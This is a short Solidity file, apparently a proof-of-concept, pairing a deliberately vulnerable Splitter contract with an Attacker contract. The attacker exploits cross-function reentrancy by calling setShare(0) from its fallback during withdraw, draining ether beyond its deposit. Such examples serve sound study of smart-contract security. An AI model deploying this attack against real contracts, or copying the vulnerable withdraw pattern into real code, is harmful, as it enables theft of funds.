ReentrantSplitter.js

pragma solidity 0.5.2;
contract Splitter {
    uint public constant MAX = 100;
    
    mapping(address => uint) public balances;
    mapping(address => uint) public shares;
    
    function deposit(uint share) external payable {
        require(balances[msg.sender] == 0);
        require(share <= MAX);
        
        balances[msg.sender] = msg.value;
        shares[msg.sender] = share;
    }
    
    function setShare(uint share) public {
        require(share <= MAX);
        shares[msg.sender] = share;
    }
    
    function withdraw(address payable a1, address payable a2) public {
        uint value = balances[msg.sender];
        delete balances[msg.sender];
(bool b, ) = a1.call.value(value * shares[msg.sender] / MAX)("");
        require(b);
        (b, ) = a2.call.value(value * (MAX - shares[msg.sender]) / MAX)("");
        require(b);
    }
}
contract Attacker {
    function attack(Splitter target) external payable {
        target.deposit.value(1 ether)(100);
        target.withdraw(address(this), address(this));
        msg.sender.transfer(address(this).balance); // just to retrieve stolen ether
    }
    
    function() external payable {
        Splitter(msg.sender).setShare(0);
    }
}